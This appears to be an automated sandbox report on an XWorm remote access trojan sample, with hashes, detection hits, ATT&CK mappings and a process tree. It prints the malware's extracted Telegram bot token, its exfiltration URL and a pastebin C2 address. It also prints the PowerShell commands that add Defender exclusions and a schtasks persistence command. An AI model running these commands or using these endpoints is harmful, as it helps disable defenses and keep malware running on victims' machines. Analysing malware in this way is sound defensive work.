xworm | a78098fb2b94571b85c7dce87af0cb9d8458b6d4e223ddb7fd633d81cae07462

General

Target

XClient.exe
Size

81KB
MD5

75c36e72847b9bc3cc674eac06c44565
SHA1

a42206858b46997eb8f702539ddfa77c300c82a9
SHA256

a78098fb2b94571b85c7dce87af0cb9d8458b6d4e223ddb7fd633d81cae07462
SHA512

5d9ec6a2af00a1e10836e433d85e0b1facef17548f96c2513317a2386a136fd86d2d8e951199ebca9093a1a36c457d2a04435d5ffca9a60c19f06cb241e55ca4
SSDEEP

1536:33/nZzjyT2tJkzLIUnBjUthHE9bAMz/NFbs6WrNykOy5RjsmY:fnMStJk3IMUE9bd7/bSDOyL1Y

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%AppData%
install_file
USB.exe
pastebin_url
https://pastebin.com/raw/sZpRUbiu
telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2348-1-0x0000000000DF0000-0x0000000000E0A000-memory.dmp	family_xworm
behavioral1/files/0x000f000000012263-33.dat	family_xworm
behavioral1/memory/2556-35-0x0000000000070000-0x000000000008A000-memory.dmp	family_xworm
behavioral1/memory/1768-38-0x0000000000E30000-0x0000000000E4A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2824	powershell.exe
2980	powershell.exe
332	powershell.exe
1092	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	XClient.exe

Executes dropped EXE 2 IoCs

pid	Process
2556	security
1768	security

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security"	XClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 42 IoCs

Web Service

T1102

flow	ioc
40	pastebin.com
42	pastebin.com
45	pastebin.com
6	pastebin.com
12	pastebin.com
22	pastebin.com
21	pastebin.com
28	pastebin.com
15	pastebin.com
16	pastebin.com
19	pastebin.com
9	pastebin.com
30	pastebin.com
31	pastebin.com
26	pastebin.com
32	pastebin.com
35	pastebin.com
41	pastebin.com
8	pastebin.com
13	pastebin.com
20	pastebin.com
25	pastebin.com
34	pastebin.com
4	pastebin.com
11	pastebin.com
18	pastebin.com
23	pastebin.com
43	pastebin.com
44	pastebin.com
29	pastebin.com
37	pastebin.com
38	pastebin.com
39	pastebin.com
7	pastebin.com
10	pastebin.com
14	pastebin.com
27	pastebin.com
33	pastebin.com
36	pastebin.com
5	pastebin.com
17	pastebin.com
24	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2592	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2824	powershell.exe
2980	powershell.exe
332	powershell.exe
1092	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2348	XClient.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	332	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	2556	security
Token: SeDebugPrivilege	1768	security

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 2824	2348	XClient.exe	29
PID 2348 wrote to memory of 2824	2348	XClient.exe	29
PID 2348 wrote to memory of 2824	2348	XClient.exe	29
PID 2348 wrote to memory of 2980	2348	XClient.exe	31
PID 2348 wrote to memory of 2980	2348	XClient.exe	31
PID 2348 wrote to memory of 2980	2348	XClient.exe	31
PID 2348 wrote to memory of 332	2348	XClient.exe	33
PID 2348 wrote to memory of 332	2348	XClient.exe	33
PID 2348 wrote to memory of 332	2348	XClient.exe	33
PID 2348 wrote to memory of 1092	2348	XClient.exe	35
PID 2348 wrote to memory of 1092	2348	XClient.exe	35
PID 2348 wrote to memory of 1092	2348	XClient.exe	35
PID 2348 wrote to memory of 2592	2348	XClient.exe	37
PID 2348 wrote to memory of 2592	2348	XClient.exe	37
PID 2348 wrote to memory of 2592	2348	XClient.exe	37
PID 2140 wrote to memory of 2556	2140	taskeng.exe	40
PID 2140 wrote to memory of 2556	2140	taskeng.exe	40
PID 2140 wrote to memory of 2556	2140	taskeng.exe	40
PID 2140 wrote to memory of 1768	2140	taskeng.exe	41
PID 2140 wrote to memory of 1768	2140	taskeng.exe	41
PID 2140 wrote to memory of 1768	2140	taskeng.exe	41

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\XClient.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1092
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2592

C:\Windows\system32\taskeng.exe
taskeng.exe {765271DB-1A6B-4F47-B39E-9B239E60964A} S-1-5-21-3692679935-4019334568-335155002-1000:BCXRJFKE\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2556
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f845d222fa3048997b4514a0322d8bff

SHA1
b2598df8d7617f3694f0099dc9e55584de3b564c

SHA256
6e81a01bfe7e0cf8be81dde05310ac6e54d503972578f0a4b3cd6ec728d34692

SHA512
9d9608d47f10735ef13ff73cda8c97f52946f94ebc3afc507c6e5f1e2dd5d39b2fbd0391a53c4761e6b6bf203e540d7f401dd7b10bb08730394bfbba3388fc64

Download Submit
C:\Users\Admin\AppData\Roaming\security

Filesize
81KB

MD5
75c36e72847b9bc3cc674eac06c44565

SHA1
a42206858b46997eb8f702539ddfa77c300c82a9

SHA256
a78098fb2b94571b85c7dce87af0cb9d8458b6d4e223ddb7fd633d81cae07462

SHA512
5d9ec6a2af00a1e10836e433d85e0b1facef17548f96c2513317a2386a136fd86d2d8e951199ebca9093a1a36c457d2a04435d5ffca9a60c19f06cb241e55ca4

Download Submit
memory/1768-38-0x0000000000E30000-0x0000000000E4A000-memory.dmp

Filesize
104KB

Download
memory/2348-30-0x000000001B260000-0x000000001B2E0000-memory.dmp

Filesize
512KB

Download
memory/2348-1-0x0000000000DF0000-0x0000000000E0A000-memory.dmp

Filesize
104KB

Download
memory/2348-0-0x000007FEF6003000-0x000007FEF6004000-memory.dmp

Filesize
4KB

Download
memory/2348-31-0x000000001B260000-0x000000001B2E0000-memory.dmp

Filesize
512KB

Download
memory/2348-21-0x000007FEF6003000-0x000007FEF6004000-memory.dmp

Filesize
4KB

Download
memory/2556-35-0x0000000000070000-0x000000000008A000-memory.dmp

Filesize
104KB

Download
memory/2824-7-0x000000001B190000-0x000000001B472000-memory.dmp

Filesize
2.9MB

Download
memory/2824-8-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/2824-6-0x0000000002800000-0x0000000002880000-memory.dmp

Filesize
512KB

Download
memory/2980-15-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2980-14-0x000000001B3A0000-0x000000001B682000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads